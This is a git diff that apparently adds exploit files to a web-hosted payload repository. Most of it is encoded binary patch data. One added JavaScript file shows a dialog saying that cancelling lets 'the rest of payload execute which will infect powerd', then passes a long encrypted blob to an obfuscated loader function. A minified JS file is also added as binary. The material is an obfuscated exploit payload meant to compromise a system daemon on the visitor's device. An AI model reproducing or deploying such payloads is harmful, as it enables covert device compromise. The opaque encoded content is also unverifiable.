ziaqUw*-lih1yLnTUmSE}0pvCeD(%q3eoy7J0d4cC^VMG{yn}<%I-YR}I5-oTlJ5+- z$hlEFmD82=Se-MFVIaX=Wfv^1rFk{p1r9aq>T2;P$yxpcUG;*{NC7T4F!{UC8dU`b zPZS%IV!z2@h!f<)CuvHu>d=U)>Pe_IK@R9=gK5acgKWCpHr9u`aV8ruEsfF4l7b2s z7Z15>M$52MYD8L&V5L>L$QH7*$rbpnmQi&{!H6*JiTy$T0VPx%Zq_RhM}l3rX%HMd z7?|Qx+KYQv5>lJwdyEfZ$y5ka#-?P*{IK_TnAbBUJohU!lAy@RB6y>!c#*fP`R|hF zw?QdN8#6h1B>`Tnn6AdnK@279y-rQV-M*>bGo4X*U)RoXLtRy8i(mwCl7)iDAgYjj z$^?DGujP>|`7f(j#3EsyT(+5G3K(Er9dPk~sYlZcN?Z!hMe)2?h1W-kY9j8_8a%G} z#He;Lf+@zS;hmh>Z)JG(N$^dN;@8xB`{_Pw+j8V0M0l&-#`u8%Z+?L7SN9Dx_;VWr zu@zi48ZoSo08c(*85ne!<|_wup2yrImY<;QL5Dt88F&&+8QIO6l(fqp+F%)$#7%Df z3Qq)o-tgSOAXyVdDp?88tHIX+>B&&)KXon2c*Y$C@rN~O4w!N8D)CZK~mjmd= zCi{c^hpSVW79%A9dIsRQ3kxYX^HQAMPIX!=*;Wdcq9t&#*Qg&y zqL}$@q(;5hyJ3m~etNi0?=j}40u^fy!OWS*tbu-Y-&Y1Juy*I=Td&#z_q5Q#%Gc-cySvrqfFO|4(|Uq@%c)q$lfbUqF*pB`gSK z2MjiMeB`u*=n^xjn!USr7U+@A>^tzz%kpRHD?CwJUf=p7W#;6e<1q>n4s|8z zc}VWR&f#O1M*2iz!`S_2o#?gFi|`YplW+x|p9^P-XZJgTV2M(e>m0=+g^7>=PMPo< zWlZln)^)Rn@GGTVge`M3`n2p{J@v`NbrSD`*P!^s>v{GmoO=)dCSOUYa-tyHA1^%7 zHMS1<`haDWFa7vzO)Oq6CGR{A(_gJ@UTQ7^qlu)tJlA@Pc8e z{3xny4Fz_^U0<_gZ`9l2uW99~i%oYF7ZE{u)Y?prkc+mW_*1^E=92xYDp6x(mX71` zea&-bX}rn8BnzLSq0Bn2r(zJ{ytje-3YEl7P`-eWR?oC*UkGI;@f2>+;M1& literal 0 HcmV?d00001 diff --git a/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.js b/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.js new file mode 100644 index 0000000..6c9b304 --- /dev/null +++ b/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.js @@ -0,0 +1,5 @@ +// This will be removed later +let shouldIReload = confirm("this js loaded means it works. Press OK to reload page. Cancel will let the rest of payload execute which will infect powerd."); +if (shouldIReload == true) location.reload(); + +window["qbrdr"]("bxfeZl2xvYC6gX6EmDhACuA6itGK9GGx2UiuruNtIRcV0p3s84ugiS9OQtk8L0SN8G0+dho5Gn9BsNXNRhlv4GFFNbl7KzWh62+TdHObjr8s0nQ8dc/7Wq8kakweptmSavpcri/SiW7fO3C4SMqWyfvNxZ2EzHnFQcDoOTJXvFowSTwaRaz4lEgNigCkYg7lZ9ij3uFJ026KMblXuLEn2flUx2I4AL0XZ75FEnlRdVOl8nAAhFqdcTdewjmyhkUruXyqWzw5I4HidHxtzPPmmAmR6wH5ggI5lPsxDgatQt5dtUVjj6dJTyLwY41mfVX4jLXnrhWw8UdOFqOuY5G9PlbyEMKO0klyU+e3E7YRYDvJrBsUWQs/JEOCt1Gj0Dx/RHrflrEPj/WUkEhpDfXvCI08i1e6Kb/h7EZYL6a2fiVWfjW40YTfRANypoExO/3ZokYpn6HgeIXOuzxY5WvuH48IA3gfgsOE0qqFbhqTy0ZoESzqeQFgoK9uX+8t+OFv0RZqbCjL5/tYJRoKHKvqIDTAzKZ3Vk6EwJMsFhkOyo8Dkao7x+zrEV7/SuNjzBX2KFUwACvtBOKc3+EqvcMZ1gFh9DSH6yodOBJEFW5G/H7c7g7Yd5d4WLdeFDYGlfvK2H1E/TEgYv7WSF/UxV35xf5C7o7J4Qt6IcR3gp8U/KfLuVo5MEzH2rW6mj0GT+fYwHoDzYrO9xmp407ewYyLwGBT5Wke3453Z/cTBW8mqYfCUPywUQQdT4tGUcqzpWbvySeDzYOT+sbJN/8w3IqkOgYBzQ722SJd6xa1zHGKCcRGs8xpArMTGz6VnnhTlYMXw+YE0xgi00Gel3+8Rw3BLOswZzD2T6R7KA+5EiM6nvnJvxRgSLNQoZbemdlZFaeJv+3aU+6XAMfWG+j6rSE1SntaX+DxWgIelb6cuH0dE3ZChHM6JgLXOhe+WavOAfqLShRFLpP0zKmO4cvDNCnvUxGc0O8f8fXdFryzvKxZ054zwo+2TGYuKE+2//CY0jCIHO9xXvWPZADdPEm7dchpQ5iYySar8Oyz/2lUnomirCbzwucBC97rPsKMfM1JvbKAScKHn/ekil2b5aXgEImu7jb40lDz5GU2nYFYLMBPOxpYxpBtwnlKOsS4UfF24oHd8K64FaXuQzLCIiuTGnjybTk7ybYQpoygrnpWe4r9r4FmW2grw/P8pMegqP4SL0swwU0IUAInSSG4+T6Ak3u3uUZumvD/Z2mGA4rJFzIZ+UZlB+baZ+rcOv48A0h7n5D4XlXAMPGrhcEw3EmTwR7IYRZIUHXEI5dZsTKm6tY5935OtHP7lzZo2fNzFehEjsCdULQ7yRb3Ggh2DJl9KMZh6DhArhcudxSudd0qF/XStbQeuBFr3jpSYTeoraLuiqMGs70CDhy+e4k3/T9yWCULrfGV4aa0XKpmvmfkI+wJOXlyPSdlFnejJrbKf7ZUN6+CPdW1jsfQXoV626CIOROm8klSsqxU8FtrDw1kpR+bdEFQ/eXDUhd1Tqk6uevdP5pIcEkxuefBmSzABe9j4XvrjIB1ZQgn0sMIwFUCLynTTxfcOdxVc645ZM+Ljop14IsiGXX6Dbqk1BKUnG2DkXz9+0Qe7btzue1VQSub685/c89zZKr6lEvnBjaG8wqjl5vJd90my7jhqPdD5aLuvPl3SRtbYLzGSgHIpWn8iu4X8IqWN+tsjg17QBcR3Y4xTKwhqxyxjD/VEBgwt7KCid6/L+qtec4+npBl"); \ No newline at end of file diff --git a/800d80e0fa1f2baf9a9e41169ecc88e18042bb17.min.js b/800d80e0fa1f2baf9a9e41169ecc88e18042bb17.min.js new file mode 100644 index 0000000000000000000000000000000000000000..678a2a1ade14cac21199cb3f9b8a6b2ac0f65a44 GIT binary patch literal 228332 zcmV(pK=8jZc?dWEo4IJ%Fwp@onU!T20Iyx~k{V+pNuJQJ7er-{XoMP!*lzEoa-;XU|Nd>JRki}hlRyHG}2Khx}f?E`Gc~h<{!MJ>{nq)1V7fe^B$c90gM&EP4&X zj|t#y-P>_?yNh4OtJQS#yk)rP4oN!pETlDO7Ojs z+(ROhY)2q4Bb#K2@>=e>3k~ANQ^}TjPr`j*5@Y%zKiP;+_1GObRHpcJSqlh-N`!1D zUF%4~V0{>swJ|$@Fwf?irD?LL|0iXMD~Xdv5b`foj5!*8TQ~PZ2kH8IlZ)mF1KR9< zjJsWdDlw{;UMhMs5AWaT5vnw?9?NziguIXNreT{0JQ7ij4u#jIde&5v7XX8O4FQ&PInqjr>4$n<9;cqn!D+Fs`tgRxp{_; z^X|d&zcYcG{yylrUy9F>jpO;=Z)a?OD0N>BCvzC;rn9JXEEGNK>*i+Ca%Ba~+@R2} z>XQ>b$zX0?ASskY9BlZ&c?^h#wikGZ>09PzQOj40*^vO-W)5fD0{jAxP{y-ItprcD zHxJRSX0tN<0eOA8Q&TN#;T4tJr&8UGRwNxE&mG&oA6jNQ<8GT6Ih6A62s;2$}rR>QP5Q1wPt)hPTg z>cIC&4X5yrc4c@0YHlf-DKc|pPwuTb67&fE$|5R&S$mS}DlIhjePM3CIJ{K$nI!Gc z8@Ls{d#M!ia-av=uus&NT_!9q0tOZYR{%bt;33q(h;j4BD~G$6%C{nveouimI3)wG z@4`s8dUtP#Huv!QvGG$^V6;05E@xQOS+MUrSqhlf48SO)Qz%&d6+)prVo zw{kfEK%8>mxeR0|Bll&;-re<=^_c;+O~|NKC~WhlEc zP6ei3_Ox}?n-lfRB}o`<;Gf=mtQTX2J3jWT{l6pu-YY_4aJrMcr33cUTwx>AYayAJ z_+;O2jmm~bdgVOLme!i2wlqRfg48sL86X~uMChqe+U&Z^;8L$oxu`)M=+{5D4|ATZ zunGq(&B> z$WPXE%u}d9`e+wIPAk*`-&g1yy5gdTjaOSM54A{QVXsrzCzZ=TifmOaG~&j15_}|= zAWuPVndppZPoHk$77IZhs~6oqsXP#%2~LBGb&&z=7@bZB>z&L7Nm*|}>num6M=G5; zHZLA7-Ao{CH_MHDdZRD)56Wh>?eb3HPW0&7RP{IxZw3GT9NZM=UVYvS?GVv#EG`|tvP9r0ZIX#jU4 z`e#??Wen*F+2K715ij(ez4%jL;vQ7X>X>#6OWD{0A~HniV5Y!-lL%Vc;pk_W0`>uw zQUq}9AwG=t^YrSAaTMn?fvb+WVTbDD&W$WfsoAinW}+rmfA5}vagx>#2O=sdK&bIO zxCVl6WnCJ?<^ni$xxa89nFOVi`a1M3$m7$2;FNpxY)eEy@-rGS)A{V>La%7Bw*~q= ztJQ;uz;1Gxhi=W z%@(%m)t!^ZD!oC;P|*8wI|9r}o5U!H6j%)x8kg#ZDsf|~T^zRm1Ij!JB14|O(Ilva zc1KVk>xCK=_C)N$d{k39SBj2QF&{xl6Yyr2oc0mH-XOY{vkc3XP79!?R@2)X{%{!? zNvh41uIS;s(#BO)>=}`&VkoA>jL{t}>soLL%KB13a#}c?q5sfiPYkxn-tVks#6U3o z5s>lSQ>UFw?+$bZbFruoMr0$F&~mhjI1C|mJe{!iw5yXK4Wo$C{GBZ|X73utGD)(_gyf$zP?G=G^go%D`f_@+y<wI=|*k+1XyMq*{_~eK1bN<1P<7TYXctEe56&0 zj}3xj8!9c(YAc4IX!3GqozGj^{FAZf?+NnNLSiVTb%0eB-H2qJE48t^Hk2jg5-Iy+ zaj_}4%v|S78e~~FRkY9U{K57Nxzyy%m$JVHp^HSq)xO#_ZejA%>p-nj>tWW0A0)NmbPL zrDAa}xI+#N_JlPEfh{*A6;PG%xboSucsl_3br$lsRskmX^l@RlDn}~E!>S8H zX>gf_B(Hc3J~BfRMJ(8?NBlJcJFTz;6c<~M>N&Ezp!$BF7fU& zVRM;<3%}7LfbvGSqF%x3lY0fk>Q;$#C!0T$GmvLV#P+%Bd{F`F=8eV5FiGo($Ls8a z(vKV4a+*4#Er>UY-=bFG5Mw>M)pBN@AWxDzBb#pqQ-d#)k!&+%&0Vt?@K1^Higth= zd(SV`AacMC61@XXt8Z-AUo8^D$#nPB_ra8q;i&@nnfdnqY`&u~5f5JY1bX}>GR>(obcf6^*+17K)YU7c8p@Z*etQt=u>#H7ytmQicJI<^zM3|=t=x$bpwo# z1j(6aeT#G;IYjDGZ47mu>nkJeAgN0=^2(d&TcJ?OBWB8rI9z!PKKum_fG)D#oXD{P_aGo15J5KFaylt{iW1<=SqE+ZYC74 zNjI15U`C7`D%>BSMt$_?&{d6p;ApdI{bU1(Fh3?5qH?S**H3}L5f`$-@6XvsH8|rx z9)Y}kX1%?{sUyXn#$icL)(!x0bI~2AHe_f^xu=|XpM=zT+5#TQpBbH@uX+aG_Y@tN z(Mv07)$PCF#C;^*MWVSY51L{7S@u|P#kQ{gTd-Q`JO+6;HGinsagTGr7*fq9QLgGo z!nn=yz78k#?{7hasgpZZIjDH%nN0g|@Tb@O!Zm^}uRa-R3^k@lcldLco@6ISWRvyj zvpt^t4HBCjZA`bkgv;M|VPeH}l;~RmE;+MTmPqWxW+AcxjnD&pryeh_U%>1LV-Ci= zVpUdeskbDkdlG4kb^TdVp)^=73n(v0*yhI7cVILfQ*10x;{cO4gzT=v<4$aASw6Kz zcznu~!{FTt3Y{{Pb@X7j{!3*+LGhHT6vbxg{XtLjFu4k;IsTFQNxS z&($ZSe0=KTG`&JszKh<5&l$)e{yYk3=&Hp83JcBcbo-%}bOi*#VH zt2V%K!bn*b@i;R1#bN~PATWr~w8bMKr*x1|Pl?XH~; zM3tedCtVW|C~x{hJlG}^dkXrYntBtqRRcf^VYRLKb^Lnnd z*a${huaD+FKx+|aI>(;g`TRz|srepI+>()H+`-3UlM1B53o#AuFc*pOf5Z(E2qVs0 zH0cg)M90d%LE2J()ji;!W30wLv@kbV;Zfo1*YH>iA(PuiG?jDz&kn9%0Xn6K@+So? ziJJebo<)n;4N2=Eq`dR#c1Ab%SiDJOeKE#sFdg@A4D77M()1NBjrJx51z!t0Jhi$c zM!hzTVSQ%9+dtz^-8DHX_zGo5LaVLg&^?78xZ(b9b;J>=q>cCdVM(}G{3K9^sa1d@ z&;dED@cK1IrAoOPzv-_XwzUjm*l;l)%M{gm1Dl^WFqp@mKwBM1m5o*;P!EJt9cC;8 zvdG1&m)BL4I4A#TD@dEVHSI87A$7{qm&J}9;Wx6=j5JjauUt>tA)|t@{C$0egm9km*4`DyA@GXx2);jEdKco1Qiq7^;6>AaZ*z%z5CU1qIr9C+U z)}qBlOTw6dyTIzgqgsu~d5X&e|&+q>)X{>4RDY^R{> zN{e#32Kfv$IKC3qnJKNe2!gT@ykf{mt!&r2QgbP~xGCknEzT#W5sdoz=@V(A{H=J0 z?iev258^LcNMVYc_`D*bM8Y!5c*qQ6Lq>d>O2Wlc7t;SXLfs(7^5J}}e2yC?$YMZ0>|Ev!Hz z1Qr>R8j3Oa0s(Rep##r^COICL*PYk*0M}cBmpY)N3J8`R4xl0 z>N5e4)n!`7`#}VJl6TbigbeMaDj@tz`MxsRUdmba7&6tMOBT7&w(P%|O_B4NnF)SmlZTOQHZzkh-+K?^f+=h^0*wV%q}yA{U#3 zax8Bb2}h(D<;uivM`Pz~2$wNROVkOqW442b2cQ&;$|lIu>1{M)w?=Y;l(H6~oXJyf z+5ucW+F?vj$$T@!x$oRiZebL-A#NUs8q0tnJ*@M5klkT$)hu60?;0KuPvm4=%Hgui zT$8bPvihz@x?T?6GoaF0WN2)SL-v5R!`;Tpn9Q|&&W<<9wSUm&4-exw|x;oZDT z^I{a*v$f>7W%u$U0BppuZ;xRQa|xi|H!@vzM(9<-Vv1fjW~Q4z^%J_BokyD=Z53g6P9o&efV&7Xyp|*luC8_7sv(J3I@sq>Br0#S|ISQlS z!kJ63&%}u9&*D0jEG*I344%qY%?*voU^DUXkenQ_z*%$=Q9CpS%RWu<>iQo_iO#34 z{d!HQ{PWd;BL_a=F%zu$lQ)ABaaktq8{KjT4_rA4)zDH}|Jfh`83e75zB(6)0Hg}kW_O@#(=KKo5c3B=Q1wvBTL6pTu6mUm5bG*UeJFK&*?I(b7l-1<23EN_wFo}zS>RvDFNTP<#L*GmR)dp{S)p>`TzG1$ z`YQxZ(CpDPJ*SZbg8{Ul4Bnq=M#2`TRVB`s=&W&~u}!0$=@tR`2ZtQ?NE|o3Ee6m> zc$4v|Zo`M-vAn{5~;B=2p+AQwA4=UTKuBdsKt9rlT#FRC z$Gb0T;Fu&x(e;|mizZl;Ub9Q;fXhDp?In$Y=6J+_S3C>a_7)7h27YG$I7U>v!1+eh z^1pA#!H78W&}_gaEDN&n(f8-p)MS-3uaP}MBC7s4gs+Q8`Gy}I7K*boY+P4Sj&Jeb zNm1}^NbcQ{T35p|*8V#3ZlB^jBmwq? zFH{oAZMXiGM9Q;41I{MDgr^ai2u}L3yX3CnS7{5|N>KC_s}8eSm^NxVXL&{`g#A9K z`v|Fn|IQLZHwQD!B0_tr23?Z}=xw;@EAK}Qwo^F?mFDuDIwhw~`7Y4H`S+Atcf)#O z&G%oT;L;Rk;_Ahm>Ev5ruD>e>f~0?ORS%MZ26Rd}xJP&Z`*G4pprI^xZw=X(kM{A(s&_wr`V(`j8PvIIoCJs7& z0tD;G7IWRI@prT~biHNN886b+03EJ9-| z<8m_m>fot|jrJ2sUw+aSMiSZGr(6!2`*s6YI~zVArjv=hqmtps+;Jb` zD0Cm@<7ZvbiSU|ZCH)m?G~+VgDNPq62UweZDp`B^lu36lZJ{hD_0;S2|@K#T)r#+ z6_jEZiWc__oWbgvbz;ysw_D(TSchCx$rE(6|MC0#wMy&=v21E(=(Y{*w-W(}rhTzN zkc|rHRi{#5s7_sb-?@9fw#KkEjgb@q1%o)r7>=QmLZi2{BGR4JM>zQ$LDmlYX)#rK z4WubU=+J%t0^&6Nd7o{|2(y)B#YAE$Hxv_@C>DC&At;2h{&iS^KZN;%nO>dB56r6G z5$vnfz)f#enP)A1nY7c8b>$p90uDL%$Y0?*QBETnN+t-D;E`Dfe4lmsg;tOH+a+-8 z7_f1U%52tt@8B>Ho7wNbioP*)_m(KF8=d}&wa1VlaQjqU;fx7o(vvx@E*uT)giK#4 zr$W)YptXLdHG<*P%X6;mpF!*87)vOPo>YvH^*bL0u$P8!Toga7zAzaf1wsC>#!z+j zr!AiChprMqBhq<}JXt-WWm)cWGPx>b>!z!x7+Ffh-Z$dLgnlcB5)i6_p{B;kV#u&j zrmdxiivJgeP7eSs#kR4V>*4b-S^91iPp+**_A5~)Y7@@xTq9PzjsiNm_cLv0^gTw5dI0_jfFYabVJLVgK=WAslKGnsQS^a3a6EP-dDtI8i5EP#aR zt+tAGi4DKax)tNoo|xQU_BxQdpw^SF1QA_uyZ>S>voo=1mt$zAC%4@zvFA=~<<}My zX8(3i(I30mJphUX=`-A~sca804eWaBV6_~w1w`_%)dMdah#v3{3YTRkZBvb{sa})=g^uOODt2hb+IM)XK6f?3`HymP8RR5G{1t_N3>T(N zHOLl5KKP66i0o9Xf5^{GO8SbiSDWd~K3j#fi#=t4nY?w?K7XoH+SCTpfzh>pwPGso zEM*KoQB$j8$-ZZrD`*ZMD*{{38%tJjQX0cru_9G;_LVW9Tvf8-c<@({mplyD>1Fy6 z{R=`kK~gabjfgw@QO;1YbLh~(4fnjVp&UXSCHIur-R zQVr$F>2lQW0r6PJUUwia)Wgv`<#ZM_k@sH=fcDacbHX5=vOZ4s-pZE* z2S9ePA8l%G(G#>5pkC&DxgTM;pJmY83PajLq~`|%InODWk}iLj?K|Y<`$KIw`CB{y z+!d_$NV;S{^E=Tdp9rG(d*h)11HN0CQ-&apZ#reu?wjh8rf^IH?!>SKUs`}X!dP~} zO%U4$m{&f~bOFkh+A<2jKX`b^y-;2b>;fJzkYT3p0fpl1`kL?-ap0sX4nw zyf2DFJq;qh)UeX>@B)F1s)d_e^VVK&iCab<4f*`EOE<06Ko1DS^oZ@a8G_ezMp%Ga zC@loaqWwE(2@d!jLGr=T*G$ORxeq#jbfb(~t?mqCL~@3;+@7w#!sqVyE_f~C6P;h6 zbZ3yk#WMc~j=tAN^qcKE04{(OqFK$Bu7xDFc|Nk2LBUM)0>ou>5XME_LgvYz6bOmW zk$@;C#GP}^05B|-^M5iiCL&%BS+TY!J8*MgjCp!SG9R&cEF^(Bvf>cKQ zIVM+9p$NkzNQ-Pie+8Ou{4M;Gt_uB@q*H83I(~(Ay6UL|dV^P(o3w;vPFNKSWT2FI z9Z`@VsWCJW%69>-Nx3P zkUmhNOHw*9V0a7CoS(UcCh)@Z{E*x6XlphCBNl50;yz{{c%bqG$}UqxWK;D{PPJ*z zfuMCi3gEgRv`1T(0)7ADBd@O0Nga^bRUVY4gPL+-{3;Nll=n@+x#ViVSE9XI^%;OH z<~&E<|1!oR^`747C7LqSU0Vl%Sos;rBw^amNhTcOETN`A#=GzKF}-sK8}mZPSnB>_ z*>yog5m&*{he!cp@{L!mT%);)GI19Y#1_Iy&$fT?Qwy$i&ad`@?$?Ov8eZ3_8j3e? zkWi_4YmW`eePC2U<)DuhM09+LB1NJlYk`^gfBt@-l@>WJlOc}{xr2LQKryhwb?IoO zG`HBJ7oYoiVYM!tKCMtDBmNk1WFn68$s89Lx@l$s6w9|`ko-y)^6yh_~~yVzSqU}D_ePDaHRGm(LKEoo~7io>>zwD4xrxMFPk z9dYXjL|7Vxxc~nAKdflfOiv{RWtMq)j0qDF^97toVs?s0>qzzGO{#2>+sNRmS7G%z z%Ee+^D_men9=f*5c}qCmXZ%0B5(nD+Np6K#jSaP5a1g5yDD?=fmRO5@7Ag}5@C4)T z;X{{?lKUOMYIi{_{SWIna;fi7ZoXQS58ebvh)OHhGzrZ@Yi_Ic3To!|{`E>_V~ynZ z!HBzf1R@y2tqs3SH`MyRQLCQXL1RYV9RHiI>N~L*p(2?F0V*R*eFG0W1-Kt9CaCi~ zQN+`zosH8$c-m4)^Osz>hdHFce^?Ryy%kr^8Y2z4yO()_VFO(B+I;_{j0)Sc}LJ?!zuajb7+H9yvdq7;q zU%>2yD+*RnUe$XoGOJGx7+IX(YL%-5WltDjVdcmov>3yJ>cKfBwy10=n6&A@I+Rk? zpQ5c@gdfniLeT7YWXEgUzKs*U1L{@3rUks~JsoUlOG=Pt*T4$GB6W8Kq7+U1;*f$I z4IYnbtFwk+FzZ%YZB;a26yX<`fd|VKY*(nCRphAm-++gaw&;39P*l8vMrJDgl19gz zY&ueBlfQc9A?LS@jK(~5_y1;)C3ByW5|U^HX~JH}9Sx2Xy^(kBRVbVmnL2qPn7&_` zr^m{qx50HDW1Y(W$Utt{B_!j3W@Jd-GXR1OlZTAB5EGUkjK-#^xM{ zAD9c)U@%Bt0xt=?_{VVCAE&OPtg+T!O@U|fw$OrKv$~el;4zg1!aR?8w-3mhH;tDQhVA|zY2C*ytUH7*I@6HH&J8f4cbroYgyQR zgw46qv#&_TAjl`U0zMbbQ@d=4!~k3R*J4}RB`dZXAxj$7`c;`8VZl@AGHYNUbS8qw z8)AevQ%mCN8pWa|BB@YJH`*t^%lw8{hqqw- z*e{}Fb{l=G_Gvuq67ei@4&qcv?w{c!J$t3G_a2(4H|+;Z@uQ_XipqT^xK!>w8g#!S zj4B66dSPn-vEtZucJ!tt*Tq-e0gedE`7Ju6_vz-esEUEQ_+9{R1hGrl%=X8tl29l4 z#6SiRbRBB-+YWYj=!Qsw)C8sKDl627qq~u)=b32-8k(ap^U^qq4PgCvNEb*WEZDv# z&4r2lBCnc!0C66{LAx2&MuuRh4+!4p3#lTnjykk}6B)l%nhic-s-&!!UD;mn zXyB~@n+V|ShL1J7z-+{e6ZBVa6kQUo+#<7$@dVllC{KiG)UN8(6R0=_g3U!LO;UOi zGn6E;uwvM3uz;WH{)4r*dD^C@E!hkhm~Suz@^~Z#iF+yDe%0>OJ$9y@MS_j6!#2Sv zDFl|1ldqNGWwdaw&rQ>d;7M)!J%p5Np9=E5;<|Z%Zsd>oUsmxKE|nuZ`uxb}2#;I1 zs^|VM^fiGD!H}THU}nGIb_yiTY4AYVl8sa?#e^ zE_zU-lwen%Y7u#^@wI}q4n+DRx;Zy>v6HfJVY>T95S|vWOvU5`f6MAD#2js`g9tAzG0OfEJkyb_ zmZ|ypBzCI&=Sf7QSytmIG3IQ# z)Gx8vCVn#3Q{5}5G)q&@KJO;+{hgS`gaC@R#NTeVKx_hwyL~Zb%Xgi>y8}rn&vf)( z(rPh<15Wvi&01Qxtjm4J#-u%0qMzxWoA^Yyp+O33>F;ap9_lcdO(=4Z+};wo=&)r@ zq>cW%QhqP>PQk7sHyAP zqReK%XRI1ZJu$1xaqcJ;NWQ<#>0OMAw7p!5VTQS|&O=%lQyyML&Rh%YgnX)don5;e zO=$7KS9^0Gty0x{EoNL7GCxmhHIh%GSmRvB0m_{CGUy)n53wIP7dKEsYkvTA@wnnNP)CoT2htY-Nc5@z&wM zpLl(T7+c6Im&Uu6J8f>gNEKj}@L@H7kI*IR!z_ju=cJ3N$sjZ|cg12e(3g1cIhT6hL7nq3Dh!XA^2nB0=CP zOumq5jtwO`C(F_1y8eW_ICaZ`QjA1mXFuAXr|D7AF~losl}FstMP7i}0-~k7F{HW_ zXS}yn-feH5^&-7+xOFC!jK$_C>U9?U#j`~%Z6DRBH?+8M$|BIxf`s_Th3U+Yo~_V8 znBJWv7PA5+iO6)^$|^K5wG)lEiCz*1be#&I@a8x+E2 zfS3bjC_Q6(rO%jwb$ijLZ^+}9L%`s~;HF>0W2Cv~3TO!j+8@T(v{otni?BR4haPJh zc_KfCBh8LF>F(BUviawf-=jQ<@UO8&QswwiI=L&j^_4t-;b=d#Yjo>G8VBn2>mu6s z5(C~vA#$gElgVs3Pd4`7;dLDkBP1P-Kpz3P9spGwv98y04T1;^!!X6o_U-wvumGy7VngS%|%vnGE;S&acmmvGBVBoq<>^%)6t!v)y zxE?E0tY3Yyj`=?e&9opgo9{y=M^zBgdnwJB12c~yV~_1Kfu)^HVm;4M1~K*2w`c@g zpR3f;22H7CW3FY7<<%goQlQ??B@T&erH_ao7~CLW;@*+9gibh=Cp%9=-NugR*Mh#_PQ$q^RaE?Nr}h5ktUnXjA^71yG#dP6^obbNiizQp9W0hj-jd znBM|K5$oN?BP8d!he*^rANECCg53=&X-@ip0Y<;e8hW1@FB@Om3IfxY({Vy|1_b!t zw{EP+#~btEMuP5=L*40x;c1vd+=f%ng!KYmLr{Buf!QqUM2{^2aWmLGG{D-CbYmIc z+q1a2w}ezv`>kt5DqFE5|MA5}qofWP2{0Yt0Zu_o_TyL02_ZI$C&h=Do*?juzo^|k zxhP_0==vf=tv&8OY-X=_;s^z9xg+EiCJ707h-)AhtN=U;Pv>A61k^mow*fI9+Y+Xg z6YhDluqm+o4sSc_ejbuxPmOm$9%M(tbN&CJBLUsskwNsBFJvWyb-DEdw76YYdIqyx z66hFz+%_3%r_i^vW_%-iInNi?DTKu(5)glUkLmBMd5QS1n-s~_8%?X64~h6j$6(@8 z5=li4Zbm}5yEs0?<_-$1GQwb2tRO8L@zH>&2X4jdu7yCc4alJ^us1*ZJc&aj} zh0Cj)i7i2%+sp5sgmG6~IN~bt#9oP$6^q{Cv+S}LS)J2BORMoC8eeAG?~yL2DKH8H zV}YIWYF1jxx3NP!08MpKQxW@A{hc@LLDzBfo z6^DnieFC;A_@|#G!d$N`jHGw8tVIB^6lLvjh6^-o)d`9W?*+jC>ok)md9#+twmVF@ zfx2vAY@L@OnXOL%$X*Ap4LD*3fzWv)fMufUvQ{m|A@j)Um$tKm>f(#?Vt~?s*lPLA zuHUKUJGTYxu@*HMlnYFf5K{fs9il|K>|fn9LFEDadwjh`S)JyNIJqpzRA%rx=g)<%WSJyQ)BSD!sKF0&k{?4EqgW?~A!q?1 zgm9WfsD^y|il!!BWg!tSwe-U<`#BfKtM8{mZbq^OMYB9D?y#b1H?AC^kYCEK?4r#U zN6L6R_5drWV1FzTr-_)hrbjU!qDQ9rpjymxYm}`S*+7f9@7#a0B=?w3c71G3y<97h zIpZ~eVj8=Hj^X)E$t(S{nsd^Y0H|g&_)!4XB_)hp?0h}im+r&Td`^TR$=dJ76VP<5ryZ`O}&ig24D1@R0rrI)Juz4$WsAVABA-JXuZ8ah(kqLZ!p$(S)-$GW8 zG+u03f>>?(yMO*0BVvb$N`w@p^NuVUTCOGreFt0(w`hxCoLLTSW>iRt1$jHXbgRVc z>O9RHSs*2Y{%Sb757~p(nBwp?&o(Z}o6_^Bdwi*DiDp}eppkYYxZ<73>@dW8nu%5; zKivP6Jjc4zKq)C+@7T>?DQ~~pG9s4?hoS&Boo=uGXib0-A;)Gq65q2Qqa5oaS|LPj zQX&{&X&Q`=avKd_`C`6;YcXoq6}v_={Kh`K$U^2_=9k}@u;s|v?dutVB~x*&F1g64 z)s9=ckVAw6E0LBVCj?+PM5;cW3q75!$uTFZ(!dFsS!Dg+9iZwTND`1jl=)Q$9?QUc ztsAdD@SXFSJ+BnS>wy9z6L;+Sm82_m*c$ENKI2{NyLWY)Di^QdMT4epKtkHVU$RE= zGaA`Wm$oRIuGF`o+OiVm{xBsr!pv-2rAYN-^v*NsQ{LPT-^?8%@T3_rqbQMgjl_V+ z0R4l9IbM{AR*C$%JFC2vaA%Amh4|@**gI(vTe3Q*?f?k3g}|Gxl)Y{WjxF(L6g!!u zfRtSU$P-5N{k@;n%%FcvIb0m7h!*e6Pn}k@4S7Hd)MwUE`0R)iwaE$aP)OOCC;Weh z!;^03f|!5mvcosdZ`&Z`-+G3~!B_J7PKz9qL?O;WX*unCN?Tj$jl1Pu`V}X7{4d5W z)8V=^s$owb%{!ki8|Hly^W!Bx#8 z`e1VhbN#W^tPTcT7MGX{!(Lw}NJx^*I;)Nq$!h5=^@8i^P|{`WnrzoEPMS?X2URz4 zBT~QJBl>z!x~Ku<4O}8D<0o6EXgU9lZZ>JpaY;CT(8GRQoA>r6)z&#C(yD%4Yhc%Z zMzB4V`_bIMDVCbY1PebKr->QXC7*Prw69HAOlEseA9G^P3Q!Jr1zp#JENh zESsrTI^$bQ6WF<2v8A%NVdhI#b=wp^WjXNciYG=lRyB+25>Yq!s~4uj={xo*kntiSdT)*!3}gqQ2Sx z(W(Vv7{$bC&Y=FVu55sx(96VW(N6Cw1VEKK|Jhx%?`=)T6f0QHUe@qM+q??0Cng^A zw>PD%t*8^8y>gfz$ zDySco6bgX+Kz!feV#}^kDk|(8xinaPFMTpens8L%(12Dr-l%m9GT-SGZd#|p0ufDuv5~%>1{$6DYzZ zy-&&gZGJ*pu@j&N7H+KnakaRa5fKC+rCF`0)xds;3m-s4{32iiBT7(d@rO9S3F09b z)M8|f+QW@tw*Y^MP*VQneR0Dd3IR)T7%b&_1^pzrlgPXu0EG$iVSgz3`RYz)cuP}y z_@~{@u#>+@pWRVHm}hhOTh!7agg0+MwJ)pB?)LF<$h;~ryLrI0mOsS|NP|a*=gYjJ zQ{?xyFJ%oDK{SK&ojWc6xo15ea^h&8#J$$3s8`yMEQ_}e)QU0zJ0oFFsnUOIKK{y_ z;(vJOWvXhCq#ETo#WKs-5YKQ)5oqR8nf9BTQMv@fbup-VT6YSs#J5QE%u?piX21(0 